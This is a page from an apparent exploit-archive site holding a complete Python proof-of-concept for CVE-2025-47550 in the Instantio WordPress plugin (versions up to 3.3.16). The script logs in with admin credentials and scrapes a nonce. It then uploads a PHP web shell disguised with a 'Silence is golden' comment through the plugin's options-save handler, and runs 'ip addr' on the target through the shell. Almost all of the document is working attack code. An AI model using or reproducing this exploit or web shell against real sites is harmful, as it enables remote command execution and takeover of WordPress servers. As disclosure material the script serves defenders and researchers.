4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2025-47550.py PY
# Exploit Title: Instantio - Wordpress Plugin <= 3.3.16 - Authenticated (Admin+) Arbitrary File Upload via ins_options_save
# Date: 04/23/2025
# Exploit Author: Ryan Kozak https://ryankozak.com
# Vendor Homepage:  https://themefic.com/
# Version: <= 3.3.16
# Tested on: 3.3.16
# CVE: CVE-2025-47550


import re
import json
import urllib3
import requests
import argparse
import urllib.parse


def extract_ins_options_nonce(text):
    match = re.search(
        r'<input[^>]*id=["\']ins_option_nonce["\'][^>]*value=["\']([^"\']+)["\']',
        text,
        re.IGNORECASE
    )
    if match:
        return match.group(1)
    else:
        print("Nonce not found.")
        return None


def wp_login(victim_url: str, username: str, password: str): 

    with requests.Session() as s:
        headers1 = { 'Cookie':'wordpress_test_cookie=WP Cookie check' }
        datas={ 
            'log':username, 'pwd':password, 'wp-submit':'Log In', 
            'redirect_to':f"{victim_url}/wp-admin", 'testcookie':'1'  
        }
        s.post(f"{victim_url}/wp-login.php", headers=headers1, data=datas, verify=False)
        return(s)

def main():

    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

    # Parse command line arguments
    parser = argparse.ArgumentParser(description="CVE-202X-XXXX: An exploit...")
    parser.add_argument("victim_url", help="Target url or ip address.")
    parser.add_argument("username", help="The username for the WordPress instance.")
    parser.add_argument("password", help="The password for the WordPress instance.")
    args = parser.parse_args()

    # Log into wprdpress and use this session for the requests.
    print(f"Logging into: {args.victim_url}/wp-admin")
    wp_session = wp_login(args.victim_url,args.username,args.password)

   
    ##################################################################################################################################################
    # Grab and prase the HTML for the nonce.
    ##################################################################################################################################################
    print("Extracting nonce values...")
    headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36'}
    r = wp_session.get(f"{args.victim_url}/wp-admin/admin.php?page=wiopt", headers=headers, verify=False)
    ins_options_nonce = extract_ins_options_nonce(r.text)

    ##################################################################################################################################################
    # Upload the malicious file.
    ##################################################################################################################################################
    print("Uploading web shell: shell.php")
    headers = {"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryAAI383h07GASVJRH"}
    data =  "------WebKitFormBoundaryAAI383h07GASVJRH\r\n"
    data += "Content-Disposition: form-data; name=\"wiopt[ins-layout-options]\"\r\n\r\n"
    data += "2\r\n"

    data += "------WebKitFormBoundaryAAI383h07GASVJRH\r\n"
    data += "Content-Disposition: form-data; name=\"wiopt[ins-layout-mode]\"\r\n\r\n"
    data += "light\r\n"

    data += "------WebKitFormBoundaryAAI383h07GASVJRH\r\n"
    data += "Content-Disposition: form-data; name=\"wiopt[ins-layout]\"\r\n\r\n"
    data += "cart\r\n"

    data += "------WebKitFormBoundaryAAI383h07GASVJRH\r\n"
    data += "Content-Disposition: form-data; name=\"wiopt[ins-layout-animation]\"\r\n\r\n"
    data += "ins_animate_default\r\n"

    data += "------WebKitFormBoundaryAAI383h07GASVJRH\r\n"
    data += "Content-Disposition: form-data; name=\"wiopt[ins-toggler]\"\r\n\r\n"
    data += "tog-1\r\n"

    data += "------WebKitFormBoundaryAAI383h07GASVJRH\r\n"
    data += "Content-Disposition: form-data; name=\"wiopt[cart-fly][cart-fly-icon]\"\r\n\r\n"
    data += "1\r\n"

    data += "------WebKitFormBoundaryAAI383h07GASVJRH\r\n"
    data += "Content-Disposition: form-data; name=\"wiopt[cart-btn][cart_button_text]\"\r\n\r\n"
    data += "View Cart\r\n"

    data += "------WebKitFormBoundaryAAI383h07GASVJRH\r\n"
    data += "Content-Disposition: form-data; name=\"wiopt[checkout-btn][checkout_button_text]\"\r\n\r\n"
    data += "Checkout\r\n"

    data += "------WebKitFormBoundaryAAI383h07GASVJRH\r\n"
    data += "Content-Disposition: form-data; name=\"wiopt[ins-page-selected]\"\r\n\r\n"
    data += "115\r\n"

    data += "------WebKitFormBoundaryAAI383h07GASVJRH\r\n"
    data += "Content-Disposition: form-data; name=\"wiopt[crosssell-heading]\"\r\n\r\n"
    data += "Enter your default value\r\n"

    data += "------WebKitFormBoundaryAAI383h07GASVJRH\r\n"
    data += "Content-Disposition: form-data; name=\"wiopt[ins-toggle-tab][cart-icon-style]\"\r\n\r\n"
    data += "cart-style-1\r\n"

    data += "------WebKitFormBoundaryAAI383h07GASVJRH\r\n"
    data += "Content-Disposition: form-data; name=\"wiopt[ins-toggle-tab][wi-icon-choice]\"\r\n\r\n"
    data += "icon\r\n"

    data += "------WebKitFormBoundaryAAI383h07GASVJRH\r\n"
    data += "Content-Disposition: form-data; name=\"wiopt[ins-toggle-panel-tab][wi-zindex]\"\r\n\r\n"
    data += "99999\r\n"

    data += "------WebKitFormBoundaryAAI383h07GASVJRH\r\n"
    data += "Content-Disposition: form-data; name=\"wiopt[ins-toggle-panel-tab][panel-width-1200]\"\r\n\r\n"
    data += "690\r\n"

    data += "------WebKitFormBoundaryAAI383h07GASVJRH\r\n"
    data += "Content-Disposition: form-data; name=\"wiopt[ins-toggle-panel-tab][panel-width-1024]\"\r\n\r\n"
    data += "620\r\n"

    data += "------WebKitFormBoundaryAAI383h07GASVJRH\r\n"
    data += "Content-Disposition: form-data; name=\"wiopt[ins-toggle-panel-tab][panel-width-767]\"\r\n\r\n"
    data += "420\r\n"

    data += "------WebKitFormBoundaryAAI383h07GASVJRH\r\n"
    data += "Content-Disposition: form-data; name=\"ins_option_nonce\"\r\n\r\n"
    data += ins_options_nonce + "\r\n"

    data += "------WebKitFormBoundaryAAI383h07GASVJRH\r\n"
    data += "Content-Disposition: form-data; name=\"_wp_http_referer\"\r\n\r\n"
    data += "\r\n"

    data += "------WebKitFormBoundaryAAI383h07GASVJRH\r\n"
    data += "Content-Disposition: form-data; name=\"action\"\r\n\r\n"
    data += "ins_options_save\r\n"

    data += "------WebKitFormBoundaryAAI383h07GASVJRH\r\n"
    data += "Content-Disposition: form-data; name=\"file[]\"; filename=\"shell.php\"\r\n"
    data += "Content-Type: application/octet-stream\r\n\r\n"
    data += "<?php\n"
    data += "// Silence is golden\n"
    data += "if (!empty($_GET['cmd'])) {\n"
    data += "    echo \"<pre>\".shell_exec($_GET[\"cmd\"]).\"</pre>\";\n"
    data += "}\n"
    data += "?>\r\n"

    data += "------WebKitFormBoundaryAAI383h07GASVJRH--\r\n"
    
    r = wp_session.post(f"{args.victim_url}/wp-admin/admin-ajax.php", headers=headers, data=data, verify=False)
    print(r.text)


    ##################################################################################################################################################
    # Test Commands
    ##################################################################################################################################################
    print(f"Web Shell Location: {args.victim_url}/wp-content/uploads/itinerary-fonts/shell.php")
    print("")
    print("Executing test command: ip addr")
    r = requests.get(f"{args.victim_url}/wp-content/uploads/itinerary-fonts/shell.php?cmd=ip addr", verify=False)
    print(r.text)

if __name__ == "__main__":
    main()